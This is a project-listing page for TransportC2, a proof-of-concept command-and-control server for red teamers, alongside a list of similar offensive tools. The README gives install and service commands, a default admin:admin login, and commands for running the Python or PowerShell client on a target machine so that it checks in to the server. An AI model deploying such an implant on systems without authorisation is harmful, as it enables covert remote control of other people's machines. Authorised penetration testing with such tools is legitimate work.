All Projects → m8r0wn → transportc2

m8r0wn / transportc2

Licence: GPL-3.0 license
PoC Command and Control Server. Interact with clients through a private web interface, add new users for team sharing and more.

Programming Languages

python
139335 projects - #7 most used programming language
HTML
75241 projects
javascript
184084 projects - #8 most used programming language
powershell
5483 projects
CSS
56736 projects
shell
77523 projects

Projects that are alternatives of or similar to transportc2

Bifrost
Bifrost C2. Open-source post-exploitation using Discord API
Stars: ✭ 37 (+68.18%)
Mutual labels:  c2, pentest-tool, command-and-control
meteor
A cross-platform C2/teamserver supporting multiple transport protocols, written in Go.
Stars: ✭ 31 (+40.91%)
Mutual labels:  c2, command-and-control, redteam
volana
🌒 Shell command obfuscation to avoid detection systems
Stars: ✭ 38 (+72.73%)
Mutual labels:  pentest-tool, redteam
DiscordGo
Discord C2 for Redteam....Need a better name
Stars: ✭ 55 (+150%)
Mutual labels:  c2, redteam
Merlin
Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.
Stars: ✭ 3,522 (+15909.09%)
Mutual labels:  c2, command-and-control
Winpwn
Automation for internal Windows Penetrationtest / AD-Security
Stars: ✭ 1,303 (+5822.73%)
Mutual labels:  pentest-tool, redteam
Oscp Pentest Methodologies
备考 OSCP 的各种干货资料/渗透测试干货资料
Stars: ✭ 166 (+654.55%)
Mutual labels:  pentest-tool, redteam
chkdfront
Check Domain Fronting (chkdfront) - It checks if your domain fronting is working
Stars: ✭ 42 (+90.91%)
Mutual labels:  c2, command-and-control
Perun
Perun是一款主要适用于乙方安服、渗透测试人员和甲方RedTeam红队人员的网络资产漏洞扫描器/扫描框架
Stars: ✭ 773 (+3413.64%)
Mutual labels:  pentest-tool, redteam
palinka c2
Just another useless C2 occupying space in some HDD somewhere.
Stars: ✭ 14 (-36.36%)
Mutual labels:  c2, redteam
disctopia-c2
Windows Remote Administration Tool that uses Discord as C2
Stars: ✭ 216 (+881.82%)
Mutual labels:  c2, command-and-control
Venom
Venom - A Multi-hop Proxy for Penetration Testers
Stars: ✭ 1,228 (+5481.82%)
Mutual labels:  pentest-tool, redteam
Ldap search
Python3 script to perform LDAP queries and enumerate users, groups, and computers from Windows Domains. Ldap_Search can also perform brute force/password spraying to identify valid accounts via LDAP.
Stars: ✭ 78 (+254.55%)
Mutual labels:  pentest-tool, redteam
dark-lord-obama
AV-evading Pythonic Reverse Shell with Dynamic Adaption Capabilities
Stars: ✭ 61 (+177.27%)
Mutual labels:  c2, command-and-control
1earn
个人维护的安全知识框架,内容包括不仅限于 web安全、工控安全、取证、应急、蓝队设施部署、后渗透、Linux安全、各类靶机writup
Stars: ✭ 776 (+3427.27%)
Mutual labels:  pentest-tool, redteam
link
link is a command and control framework written in rust
Stars: ✭ 345 (+1468.18%)
Mutual labels:  c2, command-and-control
Stowaway
👻Stowaway -- Multi-hop Proxy Tool for pentesters
Stars: ✭ 500 (+2172.73%)
Mutual labels:  pentest-tool, redteam
Lockdoor Framework
🔐 Lockdoor Framework : A Penetration Testing framework with Cyber Security Resources
Stars: ✭ 677 (+2977.27%)
Mutual labels:  pentest-tool, redteam
ligolo-ng
An advanced, yet simple, tunneling/pivoting tool that uses a TUN interface.
Stars: ✭ 418 (+1800%)
Mutual labels:  pentest-tool, redteam
venus
A Visual Studio Code Extension agent for Mythic C2
Stars: ✭ 47 (+113.64%)
Mutual labels:  c2, command-and-control

TransportC2

     

TransportC2 is a command and control server that runs in the background as a service and allows interaction with clients through a private web interface. This allows penetration testers and red teamers the ability maintain their connection without being tied to an active session. Once logged into the admin interface, add new authorized users for team interaction and collaboration.

Server

Built in Python3, the TransportC2 server was designed for and tested on Debian based Linux Distributions, and has two components:

  1. An HTTPS server that runs over port 443 and accepts incoming client connections.
  2. An HTTPS admin interface that runs over port 8443 and allows users to interact with clients via web browser. This portal requires a username and password with a default login of admin:admin. Once logged in user's can change their password and add other users to allow team sharing.

Install

The setup.sh script will install all necessary requirements, create cert & key files, and move the working directory to /opt/transportc2:

git clone https://github.com/m8r0wn/transportc2
cd transportc2/install
sudo chmod +x setup.sh
./setup.sh

Interact with C2 Service

sudo systemctl start transportc2.service
sudo systemctl stop transportc2.service
sudo systemctl status transportc2.service

Client

As of now, TransportC2 has clients written in Python 2/3 and PowerShell. Clients will make HTTPS requests to the C2 server and mimic a web connection. Variables at the top of the client file can be modified to change client check-in intervals, requesting page, etc.

Client Usage

Run the client on a target machine:

python3 client.py 127.0.0.1 443
Import-Module .\client.ps1
Invoke-Client -ServerIP 127.0.0.1 -Port 443

Client Commands

Once a client is connected, login to the Admin Interface to execute one of the following commands:

HelpMenu

Screenshots

Login

CmdPanel

Contributors

Thanks to the following contributors that made this project possible:

  • @darneymartin
Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].